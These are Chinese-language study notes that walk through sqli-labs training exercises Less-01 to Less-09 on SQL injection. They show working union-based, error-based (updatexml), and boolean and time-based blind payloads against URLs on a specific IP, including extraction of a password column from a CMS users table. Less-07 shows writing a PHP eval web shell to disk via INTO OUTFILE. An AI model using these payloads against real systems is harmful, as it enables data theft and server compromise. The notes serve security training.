目录
自动化注入
半自动化注入
burp
全自动注入
首推:sqlmap
其他:穿山甲/明小子/胡萝卜等
定制化脚本
sqli-labs题库
Less-01
1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(发现是字符型注入,闭合方式是单引号)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1后面有其他SQL语句,为了防止后面SQL语句的影响,我们可以把后面注入掉(--+),如果是井号(在url中我们需要把#进行url编码变为%23)
3、and 1=1,and1=2,两次页面状态不同(有布尔类型状态)
4、and sleep(5) (有延时)【sleep语句我们不要管页面显示什么,我们判断依据是时间线】
5、我们做联合查询,把前面的那条SQL语句置为假(and 1=2)
http://42.192.43.56/sqli-labs/Less-1/?id=1' and 1=2 union select 1,version(),3 --+ (做到version就行,因为我们能获得数据库中的敏感信息了)
Less-02
1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(数字型注入,我们提交的2没有显示到页面,闭合方式没有)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
3、直接用union select判断有多少个列就行
http://42.192.43.56/sqli-labs/Less-2/?id=-2 union select 1,2,database()
Less-03
1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(字符型注入,因为提交的参数3显示到页面中来了,闭合方式单引号加一个右半括号)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3'') LIMIT 0,1' at line 1
3、我要要想闭合之前的字符串的定义,我们要在2后面添加一个单引号和右半括号,如何把后面--+闭合掉
http://42.192.43.56/sqli-labs/Less-3/?id=3') --+
实际上SQL语句变成了:......'3')--+') LIMIT 0,1
4、http://42.192.43.56/sqli-labs/Less-3/?id=3') and 1=2 union select 1,2,version()--+
Less-04
1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(发现没反应)
改用双引号测试一下(注意是双引号,不是两个单引号),字符型注入,闭合方式是"),把后面--+注释掉
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1
3、http://42.192.43.56/sqli-labs/Less-4/?id=2") and 1=2 union select 1,2,@@datadir--+
Less-05
1、输入id=1和id=2,页面显示一样
2、输入一个单引号(字符型注入,闭合方式是单引号)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
3、没有回显,有报错,字符型注入,闭合方式单引号,使用报错注入
4、42.192.43.56/sqli-labs/Less-5/?id=2' and updatexml(1,concat(0x5e,version(),0x5e),1) --+
如果输出结果显示不全怎么办?
我们先取出前十六位:
http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),1,16),0x5e),1)
再取后16位
http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),17),0x5e),1)
再拼接起来
Less-06
1、输入id=1和id=2,页面显示一样
2、输入一个单引号(没反应),再提交一个双引号(字符型注入,闭合方式是双引号)
没有回显有报错,字符型,双引号闭合
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
--+闭合后和谐
3、http://42.192.43.56/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x5e,(select version()),0x5e),1)--+
Less-07
1、输入id=1和id=2,页面显示一样
2、输入单引号测试(没有报错信息)
You have an error in your SQL syntax
3、and 1=1 / and 1=2
没有回显,没有报错
我们代码审计一下
可以看到闭合方式是'))
4、字符型注入
http://42.192.43.56/sqli-labs/Less-7/?id=2'))--+
5、读写文件
http://42.192.43.56/sqli-labs/Less-7/?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "D:\\phpStudy\\WWW\\1.php"--+
into outfile 是我们把内容导入到1.php这个文件中去(其实那个$转义不转义都行,建议转义,只要$出现在引号里面并且是作为普通字符串输出,就转义)
写文件成功
打开1.php 发现所要信息
Less-08
1、输入id=1和id=2,页面显示一样
2、输入单引号测试,啥都没有
没有回显,没有报错
添加一个双引号:You are in...(你用双引号显示You are in...说明双引号必定不是闭合方式,考虑是单引号闭合)
3、--+闭合——和谐
4、and 1=1和and 1=2页面状态不一样,有布尔类型状态,考虑布尔盲注,属于字符型注入,闭合方式是单引号
用bp进行半自动化注入(抓包后发到intruder模块)
数据库的长度1在变,我们把1用$引起来,选择payload,选择一个字典,点击“ann from list”选择0-9
得到数据库名的长度 8
*获取数据库名
?id=2' and ascii(substr(database(),1,1))=1--+
攻击类型选择集束炸弹(cluster bomb)
字典
第一个变量1-8
第二个变量1-128
start attack
代码审计一下
Less-09
1、输入id=1和id=2,页面显示一样
2、输入单双引号测试,都是You are in.....
没有回显
3、没有布尔类型状态
4、id后加单引号,加sleep起作用,说明是字符型注入,闭合方式单引号
没有回显,没有报错,没有布尔类型状态,有延时
http://42.192.43.56/sqli-labs/Less-8/?id=2' and if(length(database())=1,sleep(5),1)--+
5、抓包,添加变量
*获取数据库名
字典
变量1:1-8
变量2:1-128
获取成功